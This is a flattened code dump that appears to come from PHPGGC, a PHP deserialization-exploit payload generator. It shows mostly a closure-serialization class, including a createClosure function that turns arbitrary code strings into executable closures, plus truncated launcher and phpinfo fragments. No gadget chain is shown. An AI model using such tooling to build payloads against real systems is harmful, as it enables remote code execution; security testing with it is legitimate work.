return; 414 | } 415 | $storage[$instance] = $data = $reflection->newInstanceWithoutConstructor(); 416 | 417 | do{ 418 | if(!$reflection->isUserDefined()){ 419 | break; 420 | } 421 | foreach ($reflection->getProperties() as $property){ 422 | if($property->isStatic() || !$property->getDeclaringClass()->isUserDefined()){ 423 | continue; 424 | } 425 | $property->setAccessible(true); 426 | $value = $property->getValue($instance); 427 | if(is_array($value) || is_object($value)){ 428 | static::wrapClosures($value, $storage); 429 | } 430 | $property->setValue($data, $value); 431 | }; 432 | } while($reflection = $reflection->getParentClass()); 433 | } 434 | 435 | static::exitContext(); 436 | } 437 | 438 | /** 439 | * Unwrap closures 440 | * 441 | * @internal 442 | * @param $data 443 | * @param SplObjectStorage|null $storage 444 | */ 445 | public static function unwrapClosures(&$data, SplObjectStorage $storage = null) 446 | { 447 | if($storage === null){ 448 | $storage = static::$context->scope; 449 | } 450 | 451 | if($data instanceof static){ 452 | $data = $data->getClosure(); 453 | } elseif (is_array($data)){ 454 | if(isset($data[self::ARRAY_RECURSIVE_KEY])){ 455 | return; 456 | } 457 | $data[self::ARRAY_RECURSIVE_KEY] = true; 458 | foreach ($data as $key => &$value){ 459 | if($key === self::ARRAY_RECURSIVE_KEY){ 460 | continue; 461 | } 462 | static::unwrapClosures($value, $storage); 463 | } 464 | unset($data[self::ARRAY_RECURSIVE_KEY]); 465 | }elseif ($data instanceof \stdClass){ 466 | if(isset($storage[$data])){ 467 | return; 468 | } 469 | $storage[$data] = true; 470 | foreach ($data as &$property){ 471 | static::unwrapClosures($property, $storage); 472 | } 473 | } elseif (is_object($data) && !($data instanceof Closure)){ 474 | if(isset($storage[$data])){ 475 | return; 476 | } 477 | $storage[$data] = true; 478 | $reflection = new ReflectionObject($data); 479 | 480 | do{ 481 | if(!$reflection->isUserDefined()){ 482 | break; 483 | } 484 | foreach ($reflection->getProperties() as $property){ 485 | if($property->isStatic() || !$property->getDeclaringClass()->isUserDefined()){ 486 | continue; 487 | } 488 | $property->setAccessible(true); 489 | $value = $property->getValue($data); 490 | if(is_array($value) || is_object($value)){ 491 | static::unwrapClosures($value, $storage); 492 | $property->setValue($data, $value); 493 | } 494 | }; 495 | } while($reflection = $reflection->getParentClass()); 496 | } 497 | } 498 | 499 | /** 500 | * Creates a new closure from arbitrary code, 501 | * emulating create_function, but without using eval 502 | * 503 | * @param string$args 504 | * @param string $code 505 | * @return Closure 506 | */ 507 | public static function createClosure($args, $code) 508 | { 509 | ClosureStream::register(); 510 | return include(ClosureStream::STREAM_PROTO . '://function(' . $args. '){' . $code . '};'); 511 | } 512 | 513 | /** 514 | * Internal method used to map closure pointers 515 | * @internal 516 | * @param $data 517 | */ 518 | protected function mapPointers(&$data) 519 | { 520 | $scope = $this->scope; 521 | 522 | if ($data instanceof static) { 523 | $data = &$data->closure; 524 | } elseif (is_array($data)) { 525 | if(isset($data[self::ARRAY_RECURSIVE_KEY])){ 526 | return; 527 | } 528 | $data[self::ARRAY_RECURSIVE_KEY] = true; 529 | foreach ($data as $key => &$value){ 530 | if($key === self::ARRAY_RECURSIVE_KEY){ 531 | continue; 532 | } elseif ($value instanceof static) { 533 | $data[$key] = &$value->closure; 534 | } elseif ($value instanceof SelfReference && $value->hash === $this->code['self']){ 535 | $data[$key] = &$this->closure; 536 | } else { 537 | $this->mapPointers($value); 538 | } 539 | } 540 | unset($value); 541 | unset($data[self::ARRAY_RECURSIVE_KEY]); 542 | } elseif ($data instanceof \stdClass) { 543 | if(isset($scope[$data])){ 544 | return; 545 | } 546 | $scope[$data] = true; 547 | foreach ($data as $key => &$value){ 548 | if ($value instanceof SelfReference && $value->hash === $this->code['self']){ 549 | $data->{$key} = &$this->closure; 550 | } elseif(is_array($value) || is_object($value)) { 551 | $this->mapPointers($value); 552 | } 553 | } 554 | unset($value); 555 | } elseif (is_object($data) && !($data instanceof Closure)){ 556 | if(isset($scope[$data])){ 557 | return; 558 | } 559 | $scope[$data] = true; 560 | $reflection = new ReflectionObject($data); 561 | do{ 562 | if(!$reflection->isUserDefined()){ 563 | break; 564 | } 565 | foreach ($reflection->getProperties() as $property){ 566 | if($property->isStatic() || !$property->getDeclaringClass()->isUserDefined()){ 567 | continue; 568 | } 569 | $property->setAccessible(true); 570 | $item = $property->getValue($data); 571 | if ($item instanceof SerializableClosure || ($item instanceof SelfReference && $item->hash === $this->code['self'])) { 572 | $this->code['objects'][] = array( 573 | 'instance' => $data, 574 | 'property' => $property, 575 | 'object' => $item instanceof SelfReference ? $this : $item, 576 | ); 577 | } elseif (is_array($item) || is_object($item)) { 578 | $this->mapPointers($item); 579 | $property->setValue($data, $item); 580 | } 581 | } 582 | } while($reflection = $reflection->getParentClass()); 583 | } 584 | } 585 | 586 | /** 587 | * Internal method used to map closures by reference 588 | * 589 | * @internal 590 | * @param mixed &$data 591 | */ 592 | protected function mapByReference(&$data) 593 | { 594 | if ($data instanceof Closure) { 595 | if($data === $this->closure){ 596 | $data = new SelfReference($this->reference); 597 | return; 598 | } 599 | 600 | if (isset($this->scope[$data])) { 601 | $data = $this->scope[$data]; 602 | return; 603 | } 604 | 605 | $instance = new static($data); 606 | 607 | if (static::$context !== null) { 608 | static::$context->scope->toserialize--; 609 | } else { 610 | $instance->scope = $this->scope; 611 | } 612 | 613 | $data = $this->scope[$data] = $instance; 614 | } elseif (is_array($data)) { 615 | if(isset($data[self::ARRAY_RECURSIVE_KEY])){ 616 | return; 617 | } 618 | $data[self::ARRAY_RECURSIVE_KEY] = true; 619 | foreach ($data as $key => &$value){ 620 | if($key === self::ARRAY_RECURSIVE_KEY){ 621 | continue; 622 | } 623 | $this->mapByReference($value); 624 | } 625 | unset($value); 626 | unset($data[self::ARRAY_RECURSIVE_KEY]); 627 | } elseif ($data instanceof \stdClass) { 628 | if(isset($this->scope[$data])){ 629 | $data = $this->scope[$data]; 630 | return; 631 | } 632 | $instance = $data; 633 | $this->scope[$instance] = $data = clone($data); 634 | 635 | foreach ($data as &$value){ 636 | $this->mapByReference($value); 637 | } 638 | unset($value); 639 | } elseif (is_object($data) && !$data instanceof SerializableClosure){ 640 | if(isset($this->scope[$data])){ 641 | $data = $this->scope[$data]; 642 | return; 643 | } 644 | 645 | $instance = $data; 646 | $reflection = new ReflectionObject($data); 647 | if(!$reflection->isUserDefined()){ 648 | $this->scope[$instance] = $data; 649 | return; 650 | } 651 | $this->scope[$instance] = $data = $reflection->newInstanceWithoutConstructor(); 652 | 653 | do{ 654 | if(!$reflection->isUserDefined()){ 655 | break; 656 | } 657 | foreach ($reflection->getProperties() as $property){ 658 | if($property->isStatic() || !$property->getDeclaringClass()->isUserDefined()){ 659 | continue; 660 | } 661 | $property->setAccessible(true); 662 | $value = $property->getValue($instance); 663 | if(is_array($value) || is_object($value)){ 664 | $this->mapByReference($value); 665 | } 666 | $property->setValue($data, $value); 667 | } 668 | } while($reflection = $reflection->getParentClass()); 669 | } 670 | } 671 | 672 | } 673 | -------------------------------------------------------------------------------- /phpggc: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env php 2 | generate(); 12 | } 13 | catch(\PHPGGC\Exception $e) 14 | { 15 | print("ERROR: " . $e->getMessage() . "\n"); 16 | } 17 | -------------------------------------------------------------------------------- /phpinfo.php: -------------------------------------------------------------------------------- 1 | ?>' 2 | -------------------------------------------------------------------------------- /templates/chain.php: -------------------------------------------------------------------------------- 1 |